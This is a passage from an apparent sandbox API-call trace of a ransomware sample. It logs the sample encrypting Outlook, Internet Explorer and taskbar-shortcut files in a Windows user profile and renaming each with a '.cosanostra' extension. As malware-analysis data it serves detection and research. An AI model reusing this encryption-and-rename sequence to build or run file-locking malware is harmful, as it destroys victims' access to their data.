"c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.307] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f190 | out: pbBuffer=0x251f190) returned 1 [0099.307] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f188*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f188*=0x30) returned 1 [0099.307] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.311] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f180 | out: pbBuffer=0x251f180) returned 1 [0099.311] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f178*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f178*=0x30) returned 1 [0099.311] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\outlook.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0099.312] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml") returned 79 [0099.312] StrStrW (lpFirst="Outlook.xml", lpSrch=".txt") returned 0x0 [0099.313] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffff65e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.314] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x9a2, lpNumberOfBytesWritten=0x251f13c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f13c*=0x9a2, lpOverlapped=0x0) returned 1 [0099.314] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.314] WriteFile (in: hFile=0x180, lpBuffer=0x251f17c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f13c, lpOverlapped=0x0 | out: lpBuffer=0x251f17c*, lpNumberOfBytesWritten=0x251f13c*=0x4, lpOverlapped=0x0) returned 1 [0099.314] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f13c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f13c*=0x30, lpOverlapped=0x0) returned 1 [0099.314] CloseHandle (hObject=0x180) returned 1 [0099.314] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.cosanostra") returned 90 [0099.314] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\outlook.xml"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\outlook.xml.cosanostra")) returned 1 [0099.315] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f180 | out: pbBuffer=0x251f180) returned 1 [0099.315] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f178*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f178*=0x30) returned 1 [0099.315] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\outlook.srs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0099.316] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs") returned 79 [0099.316] StrStrW (lpFirst="Outlook.srs", lpSrch=".txt") returned 0x0 [0099.317] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffff600, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.317] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x251f13c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f13c*=0xa00, lpOverlapped=0x0) returned 1 [0099.318] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.318] WriteFile (in: hFile=0x180, lpBuffer=0x251f17c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f13c, lpOverlapped=0x0 | out: lpBuffer=0x251f17c*, lpNumberOfBytesWritten=0x251f13c*=0x4, lpOverlapped=0x0) returned 1 [0099.318] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f13c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f13c*=0x30, lpOverlapped=0x0) returned 1 [0099.318] CloseHandle (hObject=0x180) returned 1 [0099.318] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.cosanostra") returned 90 [0099.318] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\outlook.srs"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\outlook.srs.cosanostra")) returned 1 [0099.471] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f178 | out: pbBuffer=0x251f178) returned 1 [0099.471] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f170*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f170*=0x30) returned 1 [0099.471] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\recent\\global.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0099.532] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK") returned 84 [0099.532] StrStrW (lpFirst="Global.LNK", lpSrch=".txt") returned 0x0 [0099.683] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffa66, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.683] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x59a, lpNumberOfBytesWritten=0x251f134, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f134*=0x59a, lpOverlapped=0x0) returned 1 [0099.683] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.683] WriteFile (in: hFile=0x180, lpBuffer=0x251f174*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f134, lpOverlapped=0x0 | out: lpBuffer=0x251f174*, lpNumberOfBytesWritten=0x251f134*=0x4, lpOverlapped=0x0) returned 1 [0099.684] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f134, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f134*=0x30, lpOverlapped=0x0) returned 1 [0099.684] CloseHandle (hObject=0x180) returned 1 [0099.684] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK.cosanostra") returned 95 [0099.684] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\recent\\global.lnk"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\recent\\global.lnk.cosanostra")) returned 1 [0099.870] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f160 | out: pbBuffer=0x251f160) returned 1 [0099.870] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f158*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f158*=0x30) returned 1 [0099.871] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\VRLZOZ0E\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.871] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f160 | out: pbBuffer=0x251f160) returned 1 [0099.871] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f158*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f158*=0x30) returned 1 [0099.871] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\VRLZOZ0E\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\vrlzoz0e\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.871] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f158 | out: pbBuffer=0x251f158) returned 1 [0099.871] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f150*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f150*=0x30) returned 1 [0099.871] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0099.872] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat") returned 100 [0099.872] StrStrW (lpFirst="index.dat", lpSrch=".txt") returned 0x0 [0099.982] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.982] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f114, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f114*=0x2800, lpOverlapped=0x0) returned 1 [0099.982] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.982] WriteFile (in: hFile=0x180, lpBuffer=0x251f154*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f114, lpOverlapped=0x0 | out: lpBuffer=0x251f154*, lpNumberOfBytesWritten=0x251f114*=0x4, lpOverlapped=0x0) returned 1 [0099.983] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f114, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f114*=0x30, lpOverlapped=0x0) returned 1 [0099.983] CloseHandle (hObject=0x180) returned 1 [0100.064] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat.cosanostra") returned 111 [0100.064] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\index.dat"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\index.dat.cosanostra")) returned 1 [0100.065] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f158 | out: pbBuffer=0x251f158) returned 1 [0100.065] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f150*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f150*=0x30) returned 1 [0100.065] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer (2).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows explorer (2).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0100.065] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer (2).lnk") returned 135 [0100.065] StrStrW (lpFirst="Windows Explorer (2).lnk", lpSrch=".txt") returned 0x0 [0100.066] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffb34, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.066] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x4cc, lpNumberOfBytesWritten=0x251f114, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f114*=0x4cc, lpOverlapped=0x0) returned 1 [0100.066] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.066] WriteFile (in: hFile=0x15c, lpBuffer=0x251f154*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f114, lpOverlapped=0x0 | out: lpBuffer=0x251f154*, lpNumberOfBytesWritten=0x251f114*=0x4, lpOverlapped=0x0) returned 1 [0100.066] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f114, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f114*=0x30, lpOverlapped=0x0) returned 1 [0100.066] CloseHandle (hObject=0x15c) returned 1 [0100.066] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer (2).lnk.cosanostra") returned 146 [0100.066] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer (2).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows explorer (2).lnk"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer (2).lnk.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows explorer (2).lnk.cosanostra")) returned 1 [0100.068] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f150 | out: pbBuffer=0x251f150) returned 1 [0100.068] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f148*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f148*=0x30) returned 1 [0100.068] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\mozilla firefox.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0100.068] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk") returned 130 [0100.068] StrStrW (lpFirst="Mozilla Firefox.lnk", lpSrch=".txt") returned 0x0 [0100.069] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffb6f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.069] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x491, lpNumberOfBytesWritten=0x251f10c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f10c*=0x491, lpOverlapped=0x0) returned 1 [0100.069] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.069] WriteFile (in: hFile=0x15c, lpBuffer=0x251f14c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f10c, lpOverlapped=0x0 | out: lpBuffer=0x251f14c*, lpNumberOfBytesWritten=0x251f10c*=0x4, lpOverlapped=0x0) returned 1 [0100.069] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f10c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f10c*=0x30, lpOverlapped=0x0) returned 1 [0100.069] CloseHandle (hObject=0x15c) returned 1 [0100.069] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk.cosanostra") returned 141 [0100.069] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\mozilla firefox.lnk"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\mozilla firefox.lnk.cosanostra")) returned 1 [0100.070] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f150 | out: pbBuffer=0x251f150) returned 1 [0100.070] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f148*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f148*=0x30) returned 1 [0100.070] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0100.071] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk") returned 132 [0100.071] StrStrW (lpFirst="Internet Explorer.lnk", lpSrch=".txt") returned 0x0 [0100.088] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffa57, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.088] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x5a9, lpNumberOfBytesWritten=0x251f10c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f10c*=0x5a9, lpOverlapped=0x0) returned 1 [0100.088] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.088] WriteFile (in: hFile=0x15c, lpBuffer=0x251f14c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f10c, lpOverlapped=0x0 | out: lpBuffer=0x251f14c*, lpNumberOfBytesWritten=0x251f10c*=0x4, lpOverlapped=0x0) returned 1 [0100.088] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f10c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f10c*=0x30, lpOverlapped=0x0) returned 1 [0100.088] CloseHandle (hObject=0x15c) returned 1 [0100.089] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk.cosanostra") returned 143 [0100.089] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer.lnk"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer.lnk.cosanostra")) returned 1 [0100.090] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f148 | out: pbBuffer=0x251f148) returned 1 [0100.090] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f140*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f140*=0x30) returned 1 [0100.090] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer (2).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer (2).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0100.091] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer (2).lnk") returned 136 [0100.091] StrStrW (lpFirst="Internet Explorer (2).lnk", lpSrch=".txt") returned 0x0 [0100.091] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffa53, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.091] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x5ad, lpNumberOfBytesWritten=0x251f104, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f104*=0x5ad, lpOverlapped=0x0) returned 1 [0100.092] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.092] WriteFile (in: hFile=0x15c, lpBuffer=0x251f144*, 